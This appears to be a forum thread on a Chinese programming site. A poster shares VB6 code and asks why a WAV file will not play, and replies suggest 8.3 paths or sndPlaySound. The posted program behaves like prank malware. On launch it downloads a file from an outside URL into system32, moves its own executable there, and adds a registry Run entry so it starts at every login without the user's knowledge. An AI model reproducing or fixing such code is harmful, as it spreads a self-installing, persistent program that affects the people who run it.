| |

VerySource

 Forgot password?
 Register
Search
View: 862|Reply: 3

Please help me change the code, why can't the expected effect be achieved after generating the exe?

[Copy link]

1

Threads

2

Posts

3.00

Credits

Newbie

Rank: 1

Credits
3.00

 China

Post time: 2020-1-16 21:00:01
| Show all posts |Read mode
File download transfer is no problem, the registry is also no problem, just can't play that wav file, what can I ask?

Thank you

Option Explicit
'Example Name: URL Download
Private Declare Function URLDownloadToFile Lib "urlmon" Alias ​​"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

'Constant declaration of the primary key, easy to read the following code
Const HKEY_CLASSES_ROOT =&H80000000
Const HKEY_CURRENT_USER =&H80000001
Const HKEY_LOCAL_MACHINE =&H80000002
Const HKEY_USERS =&H80000003
Const HKEY_PERFORMANCE_DATA =&H80000004
Const HKEY_CURRENT_CONFIG =&H80000005
Const HKEY_DYN_DATA =&H80000006
'Constant declaration of the data type
Const REG_NONE = 0
Const REG_SZ = 1
Const REG_EXPAND_SZ = 2
Const REG_BINARY = 3
Const REG_DWORD = 4
Const REG_DWORD_BIG_ENDIAN = 5
Const REG_MULTI_SZ = 7




'API function declaration, note that the following function declaration must be written in one line
'Create primary key (with open function)
Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias ​​"RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
'Registry handle close function
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
'Used to modify the key value
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias ​​"RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long



Public Function DownloadFile (URL As String, LocalFilename As String) As Boolean
    Dim lngRetVal As Long
    lngRetVal = URLDownloadToFile (0, URL, LocalFilename, 0, 0)
    If lngRetVal = 0 Then DownloadFile = True
End Function
Private Sub Form_Load ()


  Dim fso As New FileSystemObject
  Dim file As file
  Dim dst As String
  Dim hKey As Long
  Dim Res As Integer, Ret As String * 1024
  dst = "C:\WINDOWS\system32\demo.wav"

  Select Case App.Path
 
  Case "C:\WINDOWS\system32"

  mciExecute "play C:\WINDOWS\system32\demo.wav"


 
 
  Case Else
  DownloadFile "http://our14.uu1001.com/job.php?action=download&pid=tpc&tid=7&aid=11", dst

  Set file = fso.GetFile (App.Path + "\" + App.EXEName + ".exe")
  file.Move "C:\WINDOWS\system32\demo.exe"
  RegCreateKey HKEY_CURRENT_USER, "software\microsoft\windows\currentversion\run\", hKey
  RegSetValueEx hKey, "demo", 0, REG_SZ, ByVal "C:\WINDOWS\system32\demo.exe", 200
  RegCloseKey hKey
  mciExecute "play C:\WINDOWS\system32\demo.wav"
  End Select
  End
  
End Sub
Reply

Use magic Report

0

Threads

9

Posts

6.00

Credits

Newbie

Rank: 1

Credits
6.00

 China

Post time: 2020-1-23 09:00:01
| Show all posts
mciExecute "play C:\WINDOWS\system32\demo.wav"

Are you sure you can write like this?
Reply

Use magic Report

1

Threads

2

Posts

3.00

Credits

Newbie

Rank: 1

Credits
3.00

 China

 Author| Post time: 2020-1-26 09:09:01
| Show all posts
up
Reply

Use magic Report

0

Threads

6

Posts

4.00

Credits

Newbie

Rank: 1

Credits
4.00

 China

Post time: 2020-1-27 19:09:01
| Show all posts
Strange, I'm fine here
See if the wav file is broken
When you run to mciExecute "play C:\WINDOWS\system32\demo.wav", is there an error prompt? This function is special, if there is an error, a dialog box will pop up, otherwise it means the operation is normal.
You try to execute this sentence alone (the path in the parameter of this function must be in 8.3 format).
If that doesn't work, try the sndPlaySound function
Reply

Use magic Report

You have to log in before you can reply Login | Register

Points Rules

Contact us|Archive|Mobile|CopyRight © 2008-2023|verysource.com ( 京ICP备17048824号-1 )

Quick Reply To Top Return to the list